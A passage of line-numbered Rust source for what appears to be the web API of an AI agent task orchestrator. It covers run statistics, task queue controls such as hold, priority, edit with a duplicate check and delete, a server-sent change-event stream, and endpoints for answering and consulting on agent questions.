5674 coverage_rate: RateView::of(b.recorded, b.merged),
5675 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5676 attention_rate: RateView::of(b.needs_attention, b.recorded),
5677 }
5678 }
5679}
5680
5681#[derive(Debug, Serialize)]
5683struct TaskCountsView {
5684 queued: usize,
5685 running: usize,
5686 done: usize,
5687 failed: usize,
5688 held: usize,
5689 blocked: usize,
5690 parked: usize,
5691}
5692
5693impl From<crate::queue::TaskCounts> for TaskCountsView {
5694 fn from(c: crate::queue::TaskCounts) -> Self {
5695 Self {
5696 queued: c.queued,
5697 running: c.running,
5698 done: c.done,
5699 failed: c.failed,
5700 held: c.held,
5701 blocked: c.blocked,
5702 parked: c.parked,
5703 }
5704 }
5705}
5706
5707#[derive(Debug, Serialize)]
5713struct RepoSummaryView {
5714 repo: String,
5717 name: String,
5719 runs: usize,
5720 completion_rate: Option<RateView>,
5721}
5722
5723impl From<&stats::RepoStats> for RepoSummaryView {
5724 fn from(r: &stats::RepoStats) -> Self {
5725 let t = &r.stats.totals;
5726 Self {
5727 repo: r.repo.to_string_lossy().into_owned(),
5728 name: r.name.clone(),
5729 runs: t.runs,
5730 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5731 }
5732 }
5733}
5734
5735#[derive(Debug, Serialize)]
5741struct StatsView {
5742 totals: StatsTotalsView,
5743 agents: Vec<AgentStatsView>,
5745 reviewers: Vec<ReviewerStatsView>,
5747 advisors: Vec<AdvisorStatsView>,
5749 e2e: E2eStatsView,
5750 release_bumps: ReleaseBumpStatsView,
5751 queue: TaskCountsView,
5752 runs_unreadable: usize,
5762 repos: Vec<RepoSummaryView>,
5766 daily: Vec<DailyStatsView>,
5771 repo: Option<String>,
5775 retired_hidden: Vec<String>,
5779}
5780
5781#[derive(Debug, Serialize)]
5783struct DailyStatsView {
5784 date: String,
5786 runs: usize,
5787 merged: usize,
5788 ready: usize,
5789 other: usize,
5790 completion_rate: Option<RateView>,
5792}
5793
5794impl From<&stats::DayBucket> for DailyStatsView {
5795 fn from(b: &stats::DayBucket) -> Self {
5796 Self {
5797 date: b.date.to_string(),
5798 runs: b.runs,
5799 merged: b.merged,
5800 ready: b.ready,
5801 other: b.other,
5802 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5803 }
5804 }
5805}
5806
5807const STATS_DAILY_DAYS: usize = 30;
5809
5810#[derive(Debug, Default, Deserialize)]
5819#[serde(default)]
5820struct StatsQuery {
5821 repo: Option<String>,
5822 all: bool,
5824}
5825
5826async fn stats_get(
5833 State(ui): State<Arc<Ui>>,
5834 Query(q): Query<StatsQuery>,
5835) -> ApiResult<Json<StatsView>> {
5836 blocking(move || {
5837 let states: Vec<RunState> = run_ids(&ui.runs)
5838 .into_iter()
5839 .filter_map(|id| read_run(&ui.runs, &id).ok())
5840 .collect();
5841 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5842 .iter()
5843 .map(RepoSummaryView::from)
5844 .collect();
5845 let mut scoped: Vec<&RunState> = states.iter().collect();
5846 let mut collected = match &q.repo {
5847 Some(repo) => {
5848 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5849 if filtered.is_empty() {
5850 return Err(ApiError::not_found(format!(
5851 "no runs recorded against repo `{repo}`"
5852 )));
5853 }
5854 scoped = filtered.clone();
5855 stats::collect_refs(filtered)
5856 }
5857 None => stats::collect(&states),
5858 };
5859 if !q.all {
5860 let repo = q
5861 .repo
5862 .as_deref()
5863 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5864 stats::retain_current_roster(&mut collected, &repo);
5865 }
5866 let daily = stats::daily(
5867 scoped,
5868 jiff::Zoned::now().date(),
5869 &jiff::tz::TimeZone::system(),
5870 STATS_DAILY_DAYS,
5871 );
5872 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5873 Ok(Json(StatsView {
5874 totals: StatsTotalsView::from(&collected.totals),
5875 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5876 reviewers: collected
5877 .reviewers
5878 .iter()
5879 .map(ReviewerStatsView::from)
5880 .collect(),
5881 advisors: collected
5882 .advisors
5883 .iter()
5884 .map(AdvisorStatsView::from)
5885 .collect(),
5886 e2e: E2eStatsView::from(&collected.e2e),
5887 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5888 queue: TaskCountsView::from(queue_counts),
5889 runs_unreadable: runs_unreadable(&ui.runs),
5890 repos,
5891 daily: daily.iter().map(DailyStatsView::from).collect(),
5892 repo: q.repo.clone(),
5893 retired_hidden: collected.retired_hidden.clone(),
5894 }))
5895 })
5896 .await
5897}
5898
5899#[derive(Debug, Default, Deserialize)]
5902#[serde(default, deny_unknown_fields)]
5903struct HoldBody {
5904 reason: Option<String>,
5905}
5906
5907async fn queue_hold(
5908 State(ui): State<Arc<Ui>>,
5909 Path(id): Path<String>,
5910 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5911) -> ApiResult<Json<TaskView>> {
5912 let body = match body {
5916 Ok(Json(body)) => body,
5917 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5918 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5919 };
5920 let reason = body.reason.filter(|r| !r.trim().is_empty());
5921 mutate(ui, id, move |t| {
5922 t.hold_manual(reason.clone());
5923 Ok(())
5924 })
5925 .await
5926}
5927
5928async fn queue_release(
5929 State(ui): State<Arc<Ui>>,
5930 Path(id): Path<String>,
5931) -> ApiResult<Json<TaskView>> {
5932 mutate(ui, id, |t| {
5933 t.release_operator("web", None);
5934 Ok(())
5935 })
5936 .await
5937}
5938
5939#[derive(Debug, Deserialize)]
5940#[serde(deny_unknown_fields)]
5941struct AttemptLimitBody {
5942 attempt_limit: serde_json::Value,
5944}
5945
5946async fn queue_attempt_limit(
5947 State(ui): State<Arc<Ui>>,
5948 Path(id): Path<String>,
5949 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
5950) -> ApiResult<Json<TaskView>> {
5951 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5952 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
5953 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
5954 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
5955}
5956
5957#[derive(Debug, Deserialize)]
5958#[serde(deny_unknown_fields)]
5959struct ImplementersBody {
5960 implementers: u8,
5961}
5962
5963async fn queue_implementers(
5964 State(ui): State<Arc<Ui>>,
5965 Path(id): Path<String>,
5966 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5967) -> ApiResult<Json<TaskView>> {
5968 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5969 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5970}
5971
5972#[derive(Debug, Deserialize)]
5973#[serde(deny_unknown_fields)]
5974struct UrgentBody {
5975 urgent: bool,
5976}
5977
5978async fn queue_urgent(
5979 State(ui): State<Arc<Ui>>,
5980 Path(id): Path<String>,
5981 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
5982) -> ApiResult<Json<TaskView>> {
5983 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5984 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
5985}
5986
5987#[derive(Debug, Deserialize)]
5989#[serde(deny_unknown_fields)]
5990struct PriorityBody {
5991 priority: i32,
5992}
5993
5994async fn queue_priority(
6000 State(ui): State<Arc<Ui>>,
6001 Path(id): Path<String>,
6002 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6003) -> ApiResult<Json<TaskView>> {
6004 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6005 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6006}
6007
6008#[derive(Debug, Deserialize)]
6010#[serde(deny_unknown_fields)]
6011struct EditBody {
6012 title: String,
6013 instruction: String,
6014 #[serde(default)]
6017 force: bool,
6018}
6019
6020async fn queue_edit(
6024 State(ui): State<Arc<Ui>>,
6025 Path(id): Path<String>,
6026 body: std::result::Result<Json<EditBody>, JsonRejection>,
6027) -> ApiResult<Json<TaskView>> {
6028 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6029 let mut judged: Option<(String, PathBuf)> = None;
6033 if !body.force {
6034 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6035 let (id, text) = (id.clone(), body.instruction.clone());
6036 let (seen, hits) = blocking(move || {
6037 let id = resolve_task(&queue, &id)?;
6038 let t = queue.get(&id)?;
6039 if text == t.instruction {
6040 return Ok((None, Vec::new()));
6041 }
6042 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6043 Ok((Some((t.instruction, t.repo)), hits))
6044 })
6045 .await?;
6046 if let Some((_, repo)) = &seen {
6047 let cfg = crate::config::Config::discover(repo, None)
6048 .ok()
6049 .map(|(c, _)| c);
6050 let screened =
6051 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6052 .await
6053 .map_err(|dup| {
6054 ApiError::conflict(dup.render(
6055 "Nothing was saved. If it is not a duplicate, repeat the request \
6056 with \"force\": true.",
6057 ))
6058 })?;
6059 if let crate::dupes::Screened::Unjudged(why) = screened {
6060 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6061 }
6062 }
6063 judged = seen;
6064 }
6065 let force = body.force;
6066 mutate(ui, id, move |t| {
6067 if !force && body.instruction != t.instruction {
6068 match &judged {
6069 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6070 _ => {
6071 anyhow::bail!("the task changed while it was being checked; repeat the request")
6072 }
6073 }
6074 }
6075 t.edit(body.title.clone(), body.instruction.clone())
6076 })
6077 .await
6078}
6079
6080async fn queue_done(
6088 State(ui): State<Arc<Ui>>,
6089 Path(id): Path<String>,
6090) -> ApiResult<Json<TaskView>> {
6091 let home = ui.home.clone();
6092 mutate(ui, id, move |t| {
6093 t.succeed();
6094 crate::daemon::supersede_prior_runs(t, &home);
6102 Ok(())
6103 })
6104 .await
6105}
6106
6107async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6115 blocking(move || {
6116 let id = resolve_task(&ui.queue, &id)?;
6117 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6118 ui.queue
6119 .remove(&id, in_flight, &ui.questions)
6120 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6121 Ok(StatusCode::NO_CONTENT)
6122 })
6123 .await
6124}
6125
6126async fn mutate(
6135 ui: Arc<Ui>,
6136 id: String,
6137 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6138) -> ApiResult<Json<TaskView>> {
6139 blocking(move || {
6140 let id = resolve_task(&ui.queue, &id)?;
6141 let _claim = ui.queue.claim(&id).map_err(|e| {
6146 ApiError::conflict(format!(
6147 "{e:#} - a daemon is running this task, so it cannot be \
6148 changed from here yet; wait until it is released, then retry"
6149 ))
6150 })?;
6151 let mut task = ui.queue.get(&id)?;
6152 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6153 Ok(dup) => ApiError::conflict(dup.render(
6154 "Nothing was saved. If it is not a duplicate, repeat the request with \
6155 \"force\": true.",
6156 )),
6157 Err(e) => ApiError::bad_request_from(e),
6158 })?;
6159 ui.queue.put(&mut task)?;
6160 Ok(Json(TaskView::from(task)))
6161 })
6162 .await
6163}
6164
6165async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6173 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6174 tokio::spawn(async move {
6175 let mut ticker = tokio::time::interval(POLL);
6176 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6177 let mut stamps: Option<[Stamps; 3]> = None;
6178 loop {
6179 ticker.tick().await;
6182 let state = Arc::clone(&ui);
6183 let revisions = tokio::task::spawn_blocking(move || {
6184 let stamps = [
6185 store_stamps(state.queue.root(), false),
6186 store_stamps(&state.runs, true),
6187 store_stamps(state.talks.root(), false),
6188 ];
6189 let revisions = (
6190 stamps_revision(&stamps[0]),
6191 stamps_revision(&stamps[1]),
6192 state.questions.revision(),
6193 stamps_revision(&stamps[2]),
6194 state.notices.revision(),
6195 state.lock_loop().rev,
6199 );
6200 (revisions, stamps)
6201 })
6202 .await;
6203 let Ok((revisions, next_stamps)) = revisions else {
6204 break;
6205 };
6206 if last == Some(revisions) {
6207 continue;
6208 }
6209 let mut payload = serde_json::json!({
6210 "queue_rev": revisions.0,
6211 "runs_rev": revisions.1,
6212 "questions_rev": revisions.2,
6213 "talks_rev": revisions.3,
6214 "notifications_rev": revisions.4,
6215 "loop_rev": revisions.5,
6216 });
6217 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6218 for (index, (key, rev)) in [
6219 ("queue_delta", base.0),
6220 ("runs_delta", base.1),
6221 ("talks_delta", base.3),
6222 ]
6223 .into_iter()
6224 .enumerate()
6225 {
6226 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6227 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6229 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6230 }
6231 }
6232 }
6233 last = Some(revisions);
6234 stamps = Some(next_stamps);
6235 let Ok(event) = Event::default().event("change").json_data(payload) else {
6237 break;
6238 };
6239 if tx.send(event).await.is_err() {
6240 break;
6241 }
6242 }
6243 });
6244 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6245 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6246}
6247
6248type Stamps = HashMap<String, (u128, u64)>;
6249
6250fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6252 std::fs::read_dir(root)
6253 .into_iter()
6254 .flatten()
6255 .flatten()
6256 .filter_map(|entry| {
6257 let path = if runs {
6258 entry.path().join("run.json")
6259 } else {
6260 entry.path()
6261 };
6262 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6263 return None;
6264 }
6265 let metadata = path.metadata().ok()?;
6266 let modified = metadata
6267 .modified()
6268 .ok()?
6269 .duration_since(std::time::UNIX_EPOCH)
6270 .ok()?;
6271 let id = if runs {
6272 entry.file_name().to_string_lossy().into_owned()
6273 } else {
6274 path.file_stem()?.to_string_lossy().into_owned()
6275 };
6276 Some((id, (modified.as_nanos(), metadata.len())))
6277 })
6278 .collect()
6279}
6280
6281#[derive(Debug, Serialize)]
6282struct Delta {
6283 base: u64,
6284 changed: Vec<String>,
6285 removed: Vec<String>,
6286}
6287
6288fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6289 let mut changed: Vec<_> = next
6290 .iter()
6291 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6292 .map(|(id, _)| id.clone())
6293 .collect();
6294 let mut removed: Vec<_> = previous
6295 .keys()
6296 .filter(|id| !next.contains_key(*id))
6297 .cloned()
6298 .collect();
6299 changed.sort_unstable();
6300 removed.sort_unstable();
6301 Delta {
6302 base,
6303 changed,
6304 removed,
6305 }
6306}
6307
6308fn runs_revision(runs: &FsPath) -> u64 {
6315 stamps_revision(&store_stamps(runs, true))
6316}
6317
6318fn stamps_revision(stamps: &Stamps) -> u64 {
6322 use std::hash::{Hash as _, Hasher as _};
6323 if stamps.is_empty() {
6324 return 0;
6325 }
6326 let mut entries: Vec<_> = stamps.iter().collect();
6327 entries.sort_unstable();
6328 let mut hasher = std::hash::DefaultHasher::new();
6329 entries.hash(&mut hasher);
6330 hasher.finish().max(1)
6331}
6332
6333fn run_ids(runs: &FsPath) -> Vec<String> {
6339 let mut ids: Vec<String> = std::fs::read_dir(runs)
6340 .into_iter()
6341 .flatten()
6342 .flatten()
6343 .filter(|e| e.path().join("run.json").is_file())
6344 .map(|e| e.file_name().to_string_lossy().into_owned())
6345 .collect();
6346 ids.sort_unstable_by(|a, b| b.cmp(a));
6348 ids
6349}
6350
6351fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6353 let path = runs.join(id).join("run.json");
6354 let body =
6355 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6356 let state: RunState =
6357 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6358 run::migrate_schema(state)
6363}
6364
6365#[must_use]
6373pub fn runs_unreadable(runs: &FsPath) -> usize {
6374 run_ids(runs)
6375 .into_iter()
6376 .filter(|id| read_run(runs, id).is_err())
6377 .count()
6378}
6379
6380fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6382 if runs.join(id).join("run.json").is_file() {
6383 return Ok(id.to_owned());
6384 }
6385 pick(run_ids(runs), id, "run")
6386}
6387
6388fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6390 if queue.path_of(id).is_file() {
6391 return Ok(id.to_owned());
6392 }
6393 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6394}
6395
6396#[derive(Debug, Serialize)]
6407struct QuestionView {
6408 #[serde(flatten)]
6409 question: Question,
6410 detail_md: Vec<md::Node>,
6411 posting_view: Option<PostingView>,
6412 thread_bodies_md: Vec<Vec<md::Node>>,
6414 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6417 waiting_on_agent: bool,
6427 holder: Option<&'static str>,
6431 deputies_enabled: bool,
6435 deputy_exhausted: bool,
6438 text_delivery: crate::question_delivery::Availability,
6439 run_is_task: bool,
6442 origin_chat: Option<String>,
6445 origin_chat_closed: bool,
6447 can_consult_chat: bool,
6449}
6450
6451#[derive(Debug, Serialize)]
6452struct PostingView {
6453 before_md: Vec<md::Node>,
6454 after_md: Vec<md::Node>,
6455 fields: Vec<crate::github_text::ComparisonView>,
6456}
6457
6458fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6459 let comparison = question.posting_comparison.as_ref()?;
6460 if !comparison.matches_detail(&question.detail) {
6461 return None;
6462 }
6463 let mut ids = std::collections::BTreeSet::new();
6464 if comparison.fields.is_empty()
6465 || comparison
6466 .fields
6467 .iter()
6468 .flat_map(|f| &f.pairs)
6469 .any(|p| !ids.insert(p.id))
6470 || comparison
6471 .fields
6472 .iter()
6473 .flat_map(|f| &f.original_triggers)
6474 .any(|t| !ids.insert(t.id))
6475 {
6476 return None;
6477 }
6478 let fields = comparison
6479 .fields
6480 .iter()
6481 .map(|f| f.view(comparison.excerpt))
6482 .collect::<Option<Vec<_>>>()?;
6483 Some(PostingView {
6484 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6485 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6486 fields,
6487 })
6488}
6489
6490impl QuestionView {
6491 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6495 let base = md::ImageBase::QuestionPanel {
6496 id: question.id.clone(),
6497 };
6498 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6499 Self {
6500 detail_md: md::to_nodes(&question.detail, &base),
6501 posting_view: posting_view(&question, &base),
6502 thread_bodies_md: question
6503 .thread
6504 .iter()
6505 .map(|t| md::to_nodes(&t.body, &base))
6506 .collect(),
6507 thread_notes_md: question
6508 .thread
6509 .iter()
6510 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6511 .collect(),
6512 deputy_exhausted: store.deputy_exhausted(&question),
6513 waiting_on_agent: question.waiting_on_agent(),
6514 holder,
6515 deputies_enabled: deputies_enabled(cfg, &question),
6516 text_delivery: crate::question_delivery::availability(store, &question, cfg),
6517 run_is_task: question.run_names_task(),
6518 origin_chat: None,
6519 origin_chat_closed: false,
6520 can_consult_chat: false,
6521 question,
6522 }
6523 }
6524
6525 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6527 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6528 self.can_consult_chat = consult.is_some();
6529 let talk =
6530 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6531 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6532 self.origin_chat = talk.map(|t| t.id);
6533 self
6534 }
6535}
6536
6537fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6541 Config::discover(repo, None).ok().map(|(c, _)| c)
6542}
6543
6544fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6546 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6547}
6548
6549fn question_views(
6552 qs: Vec<Question>,
6553 store: &ask::Questions,
6554 load: impl FnOnce() -> Option<Config>,
6555) -> Vec<QuestionView> {
6556 if qs.is_empty() {
6557 return Vec::new();
6558 }
6559 let cfg = load();
6560 qs.into_iter()
6561 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6562 .collect()
6563}
6564
6565fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6575 if !q.status.open() {
6576 return None;
6577 }
6578 if q.cwd.is_none()
6579 && q.deputy.is_none()
6580 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6581 {
6582 return crate::deputy::kind_of(q).map(|_| "nobody");
6583 }
6584 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6585 Some(_) if q.deputy.is_some() => "deputy",
6586 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6587 Some(_) => "asker",
6588 None => "nobody",
6589 })
6590}
6591
6592async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6598 blocking(move || {
6599 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6600 Ok(Json(
6601 question_views(ui.questions.list(), &ui.questions, || {
6602 deputy_config(&ui.repo)
6603 })
6604 .into_iter()
6605 .map(|v| v.with_origin(&tasks, &talks))
6606 .collect(),
6607 ))
6608 })
6609 .await
6610}
6611
6612async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6615 blocking(move || {
6616 let items = ui.notices.list();
6617 let unread = items.iter().filter(|n| n.unread()).count();
6618 Ok(Json(
6619 serde_json::json!({ "unread": unread, "items": items }),
6620 ))
6621 })
6622 .await
6623}
6624
6625fn notice_error(e: anyhow::Error) -> ApiError {
6626 ApiError::not_found(format!("{e:#}"))
6629}
6630
6631async fn notification_read(
6633 State(ui): State<Arc<Ui>>,
6634 Path(id): Path<String>,
6635) -> ApiResult<Json<Notice>> {
6636 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6637}
6638
6639async fn notification_dismiss(
6641 State(ui): State<Arc<Ui>>,
6642 Path(id): Path<String>,
6643) -> ApiResult<Json<Notice>> {
6644 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6645}
6646
6647async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6649 blocking(move || {
6650 let changed = ui.notices.mark_all_read()?;
6651 Ok(Json(serde_json::json!({ "marked": changed })))
6652 })
6653 .await
6654}
6655
6656#[derive(Debug, Default, Deserialize)]
6662#[serde(default, deny_unknown_fields)]
6663struct NewAnswer {
6664 choice: Option<String>,
6665 text: Option<String>,
6666}
6667
6668async fn question_answer(
6669 State(ui): State<Arc<Ui>>,
6670 Path(id): Path<String>,
6671 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6672) -> ApiResult<Json<QuestionView>> {
6673 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6674 let answer = match (body.choice, body.text) {
6675 (Some(c), None) => Answer::Choice(c),
6676 (None, Some(t)) => Answer::Text(t),
6677 (Some(_), Some(_)) => {
6678 return Err(ApiError::bad_request(
6679 "send either `choice` or `text`, not both",
6680 ));
6681 }
6682 (None, None) => {
6683 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6684 }
6685 };
6686
6687 blocking(move || {
6688 let id = resolve_question(&ui.questions, &id)?;
6689 let q = ui
6690 .questions
6691 .get(&id)
6692 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6693 if !q.status.open() {
6694 return Err(ApiError::conflict(format!(
6698 "question {} is already {}",
6699 q.short(),
6700 q.status.as_str()
6701 )));
6702 }
6703 let cfg = deputy_config(&ui.repo);
6707 let (q, ()) = ui
6708 .questions
6709 .update(&q.id, |r| r.answer(answer))
6710 .map_err(ApiError::bad_request_from)?;
6711 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6712 Ok(Json(
6713 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6714 ))
6715 })
6716 .await
6717}
6718
6719fn question_text_error(e: anyhow::Error) -> ApiError {
6721 let reason = e
6722 .downcast_ref::<crate::question_delivery::TextUnavailable>()
6723 .map(|e| e.reason);
6724 let error = ApiError::bad_request_from(e);
6725 if let Some(reason) = reason {
6726 ApiError {
6727 text_reason: Some(reason),
6728 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6729 }
6730 } else {
6731 error
6732 }
6733}
6734
6735#[derive(Debug, Deserialize)]
6737#[serde(deny_unknown_fields)]
6738struct NewSay {
6739 body: String,
6740}
6741
6742async fn question_say(
6752 State(ui): State<Arc<Ui>>,
6753 Path(id): Path<String>,
6754 body: std::result::Result<Json<NewSay>, JsonRejection>,
6755) -> ApiResult<Json<QuestionView>> {
6756 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6757 blocking(move || {
6758 let id = resolve_question(&ui.questions, &id)?;
6759 let q = ui
6760 .questions
6761 .get(&id)
6762 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6763 if !q.status.open() {
6764 return Err(ApiError::conflict(format!(
6768 "question {} is already {}",
6769 q.short(),
6770 q.status.as_str()
6771 )));
6772 }
6773 let cfg = deputy_config(&ui.repo);
6776 let (q, ()) = ui
6777 .questions
6778 .update(&q.id, |r| {
6779 if body.body.trim().is_empty() {
6780 return r.say(body.body);
6781 }
6782 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6783 r.say(body.body)
6784 })
6785 .map_err(question_text_error)?;
6786 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6787 Ok(Json(
6788 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6789 ))
6790 })
6791 .await
6792}
6793
6794async fn question_consult(
6803 State(ui): State<Arc<Ui>>,
6804 Path(id): Path<String>,
6805) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6806 let (view, reclaimed) = blocking({
6807 let ui = Arc::clone(&ui);
6808 move || {
6809 let id = resolve_question(&ui.questions, &id)?;
6810 let q = ui
6811 .questions
6812 .get(&id)
6813 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6814 if !q.status.open() {
6815 return Err(ApiError::conflict(format!(
6816 "question {} is already {}",
6817 q.short(),
6818 q.status.as_str()
6819 )));
6820 }
6821 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6822 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6823 return Err(ApiError::conflict(format!(
6824 "question {} has no chat to ask",
6825 q.short()
6826 )));
6827 };
6828 let cfg = if q.consult.is_none() {
6832 Some(Config::discover(&talk.repo, None)?.0)
6833 } else {
6834 None
6835 };
6836 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6837 let claim = if fresh {
6838 match ui.begin_queued_talk_turn(&talk.id)? {
6839 Some(turn_guard) => {
6840 let talk = ui.talks.get(&talk.id)?;
6841 let cfg = match cfg {
6842 Some(cfg) => cfg,
6843 None => Config::discover(&talk.repo, None)?.0,
6844 };
6845 Some((talk, cfg, turn_guard))
6846 }
6847 None => None,
6848 }
6849 } else {
6850 None
6851 };
6852 let q = ui.questions.get(&q.id)?;
6853 let cfg = deputy_config(&ui.repo);
6854 let view = QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks);
6855 Ok((view, claim))
6856 }
6857 })
6858 .await?;
6859 if let Some((talk, cfg, turn_guard)) = reclaimed {
6860 let talks = ui.talks.clone();
6861 let id = talk.id.clone();
6862 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6863 }
6864 Ok((StatusCode::ACCEPTED, Json(view)))
6865}
6866
6867fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6869 if store.path_of(id).is_file() {
6870 return Ok(id.to_owned());
6871 }
6872 pick(
6873 store.list().into_iter().map(|q| q.id).collect(),
6874 id,
6875 "question",
6876 )
6877}
6878
6879async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6894 blocking(move || {
6895 let id = resolve_question(&ui.questions, &id)?;
6896 let Some(html) = ui.questions.panel_html(&id) else {
6897 return Err(ApiError::not_found(format!("question {id} has no panel")));
6898 };
6899 Ok(panel_response(
6900 "text/html; charset=utf-8",
6901 false,
6902 html.into_bytes(),
6903 ))
6904 })
6905 .await
6906}
6907
6908async fn question_asset(
6936 State(ui): State<Arc<Ui>>,
6937 Path((id, name)): Path<(String, String)>,
6938) -> ApiResult<Response> {
6939 if !crate::ask::valid_asset_name(&name) {
6942 return Err(ApiError::bad_request(format!(
6943 "`{name}` is not a usable asset name"
6944 )));
6945 }
6946 blocking(move || {
6947 let id = resolve_question(&ui.questions, &id)?;
6948 let asset = ui
6949 .questions
6950 .panel_asset(&id, &name)
6951 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6952 let Some(bytes) = asset else {
6953 return Err(ApiError::not_found(format!(
6954 "question {id} has no asset `{name}`"
6955 )));
6956 };
6957 Ok(panel_response(
6958 asset_content_type(&name),
6959 is_svg(&name),
6960 bytes,
6961 ))
6962 })
6963 .await
6964}
6965
6966fn asset_content_type(name: &str) -> &'static str {
